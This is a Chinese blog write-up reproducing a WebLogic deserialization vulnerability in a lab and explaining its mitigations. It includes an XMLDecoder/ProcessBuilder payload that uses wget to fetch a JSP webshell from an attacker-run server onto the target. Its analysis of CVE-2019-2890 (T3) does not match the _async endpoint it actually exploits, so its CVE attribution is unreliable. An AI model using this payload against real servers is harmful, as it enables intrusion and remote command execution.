首页 > 其他分享 >【漏洞复现】1. WebLogic 反序列化漏洞(CVE-2019-2890)复现与分析

【漏洞复现】1. WebLogic 反序列化漏洞(CVE-2019-2890)复现与分析

时间:2024-03-21 10:30:25浏览次数:17  
标签:标签 漏洞 Weblogic 复现 2.3 WebLogic 序列化

文章目录

1. 基础知识

在这里插入图片描述

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

Weblogic有以下几点优势:

  1. Weblogic支持最新的Java EE 8和Java SE 11规范,可以让开发者使用最新的技术和API来构建应用。
  2. Weblogic提供了丰富的管理工具和API,可以实现运营自动化,提高效率和可靠性。
  3. Weblogic支持自动扩展和自动重启故障节点,可以保证应用的高可用性和可扩展性。
  4. Weblogic提供了Kubernetes部署和管理工具,可以让开发者在容器化和云原生的环境中运行应用。
  5. Weblogic与Oracle数据库和中间件集成,可以提供优化的性能、可用性和可支持性。

2. 复现

2.1 漏洞介绍

2019年10月15日,Oracle官方发布了2019年10月安全更新公告,其中包含了一个可造成RCE远程任意代码执行的高危漏洞,漏洞编号为CVE-2019-2890。
Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。由于T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装会自动开启控制台,所以攻击者可通过此漏洞造成远程代码执行,以控制Weblogic服务器。
在这里插入图片描述

漏洞影响版本:

WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3

2.2 漏洞原理分析

漏洞代码位于weblogic.jar中weblogic.wsee.jaxws.persistence.PersistentContext.class文件,它的readObject函数调用了readSubject函数,readSubject函数中使用了ObjectInputStream.readObject来反序列化对象。
在这里插入图片描述
查看对应的writeObject的逻辑,只要我们给对应的localObjectOutputStream.writeObject()序列化一个恶意对象,则PersistentContext对象被反序列化时,它的readObject函数被调用,readSubject函数中对恶意对象进行反序列化。因此通过T3发送精心伪造的PersistentContext对象,则可成功绕过黑名单检查。
在这里插入图片描述

2.3 漏洞复现

2.3.1 环境搭建

测试环境版本:weblogic 10.3.6.0
由于版本一致,可以直接利用vulhub中的镜像CVE-2017-10271,进入到相关目录,
执行docker-compose up -d
在这里插入图片描述
访问 :7001/console,如下环境搭建成功

在这里插入图片描述

2.3.2 漏洞验证

首先判断是否存在漏洞,如下图所示则可能存在漏洞,漏洞点:
http://192.168.10.132:7001/_async/AsyncResponseService
在这里插入图片描述
原理:Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML(SOAP协议)数据,在解析的过程中出现反序列化漏洞,导致任意代码执行。出问题的包是wls-wsat、_async。
使用Dnslog探测是否出网:
在这里插入图片描述
在这里插入图片描述

2.3.3 漏洞利用

创建shell.txt文件,并在当前文件所在目录用python开启web服务
在这里插入图片描述
在这里插入图片描述
访问一下web服务,web服务开启成功
在这里插入图片描述
访问http://192.168.10.132:7001/_async/AsyncResponseService,抓取数据包,修改payload:
在这里插入图片描述
返回的202响应数据,此时木马文件已经被写入服务器
在这里插入图片描述
访问shell, 可以执行任意命令
在这里插入图片描述
在这里插入图片描述

2.3.4 POC分析

这段POC的开头三行和末尾三号主要是SOAP的协议规范,SOAP是以XML形式提供了一个简单、轻量的用于在分散或分布环境中交换结构化和类型信息的机制,重点关注的是中间的内容,下面依次介绍XML的各个标签。
java标签

这个标签是使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。
object标签

通过 标签表示对象, 其class 属性指定具体类(用于调用其内部方法),此处为ProcessBuilder类,ProcessBuilder可以用于执行cmd命令,调用ProcessBuilder的start()方法启动进程,start将会在后续的标签void进行介绍。
array标签/void标签

<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.10.132:4444/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string>
</void>

通过 标签表示数组, class 属性指定具体类,此处为字符串,在array标签内部使用 void 标签的 index 属性来指定数组索引赋值,此处相当于创建了一个长度为3的字符串数组,三个元素的内容分别相当于:

str[0] = '/bin/bash'
str[1] = '-c' 
str[2] = wget http://192.168.10.132:4444/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp

其中str[0]指出了cmd命令的位置,str[1]表示执行,str[2]表示执行的具体命令

void标签中的start方法是前述ProcessBuilder类的一个方法,调用ProcessBuilder的start()方法可以启动命令执行的进程。

2.4 漏洞修复

1.更新Oracle 2019年10月补丁
https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html

2.控制T3协议的访问
此漏洞产生于WebLogic的T3服务,因此可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。当开放WebLogic控制台端口(默认为7001端口)时,T3 服务会默认开启。具体操作:
(1)进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
(2)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s(t3和t3s协议的所有端口只允许本地访问)。
(3)保存后需重新启动,规则方可生效。
3.部署网络防护设备,若请求的数据中含有xml数据,必须进行严格的过滤,避免执行恶意命令。

标签:标签,漏洞,Weblogic,复现,2.3,WebLogic,序列化
From: https://blog.csdn.net/weixin_43965597/article/details/136898896

相关文章

  • 31.网络游戏逆向分析与漏洞攻防-网络通信数据包分析工具-其它消息的实现与使用优化
    免责声明:内容仅供学习参考,请合法利用知识,禁止进行违法犯罪活动!如果看不懂、不知道现在做的什么,那就跟着做完看效果内容参考于:易道云信息技术研究院VIP课上一个内容:30.数据搜索功能码云地址(master分支):https://gitee.com/dye_your_fingers/titan码云版本号:6cd3ae3d3bf803e1......
  • 盘点一些漏洞POC测试工具
    OWASP:开放式Web应用程序安全项目(OpenWebApplicationSecurityProject),OWASP是一家国际性组织机构,并且是一个开放的、非盈利组织,它致力于协助政府、企业开发、升级各类应用程序以保证其可信任性。所有OWASP的工具、文档、研讨以及所有分会都对任何就应用安全领域感兴趣的人士......
  • WinClip非官方复现代码学习笔记2
    一、数据集加载1.数据集放置将下载的数据集解压到datasets文件夹的下面,方便后续操作。2.数据集预处理数据集预处理针对两个数据集给了两个不同的预处理指令,我测试了VISA数据集,以下是我对VISA数据集的实例。1.datasets/prepare_visa_public.py文件配置打开这个文件,第1......
  • Newtonsoft.Json/Json.NET忽略序列化时的意外错误
    在.NET中Newtonsoft.Json(Json.NET)是我们常用来进行Json序列化与反序列化的库。而在使用中常会遇到反序列化Json时,遇到不规则的Json数据解构而抛出异常。Newtonsoft.Json 支持序列化和反序列化过程中的错误处理。允许您捕获错误并选择是处理它并继续序列化,还是让错误冒泡并抛......
  • Open Sora 发布!开源的高效复现类 Sora 视频生成方案
         不久前OpenAISora的发布可以说是震惊了世界,但是奈何目前OpenAI还未将Sora开放公测,但在昨天,我们却等来了OpenSora1.0的发布,这是Colossal-AI团队的一个完全开源的视频生成项目,致力于高效制作高质量视频,并使所有人都能使用其模型、工具和内容的计划。通......
  • URLDNS反序列化利用
    这是java的原生利用链,通常用于反序列化的验证,因为是原生态不存在版本限制HashMap结合URL触发的DNS检查思路利用链HashMap-->readObject()HashMap-->hash()URL-->hashcode()URL-->getByName()进行域名解析的函数利用分析首先新建一个DnsTester类,new一个Hash......
  • 【漏洞复现】Progress Kemp LoadMaster 命令注入漏洞(CVE-2024-1212)
    0x01产品简介ProgressKempLoadMaster是一款高性能的应用交付控制器,具有可扩展性,支持实体硬件和虚拟机的负载均衡。它提供了当今应用服务所需的各种功能,包括深度用户验证、资安防护(如WAF/IPS/DDoS防护)以及零信任架构服务。这款控制器旨在为各种规模的企业和单位提供出色的负......
  • 如何使用Rayder组织编排漏洞侦查和渗透测试工作流
    关于RayderRayder是一款针对漏洞网络侦查和渗透测试自动化工作流工具,该工具本质上是一个命令行工具,旨在帮助广大研究人员更轻松地组织、编排和执行漏洞侦查和渗透测试工作流。Rayder允许我们在YAML文件中定义一系列功能模块,且每个模块都由要执行的命令所组成。Rayder可以......
  • STST论文复现
    Pix2Pix-basedStain-to-StainTranslation:ASolutionforRobustStainNormalizationinHistopathologyImagesAnalysis代码链接:artemis1919/Stain-to-Stain-Translation:Pix2Pix-basedStain-to-StainTranslation:ASolutionforRobustStainNormalizationinHis......
  • 10大漏洞评估和渗透测试工具【附安装包】
    1、NetsparkerSecurityScanner专为企业设计的强大的漏洞扫描和管理工具,它可以检测和利用SQL注入和XSS等漏洞。https://www.netsparker.com/product/2、AcunetixScanner针对中小型企业的Web应用程序漏洞扫描程序,但也可以扩展到更大的组织。它可以检测SQL注入......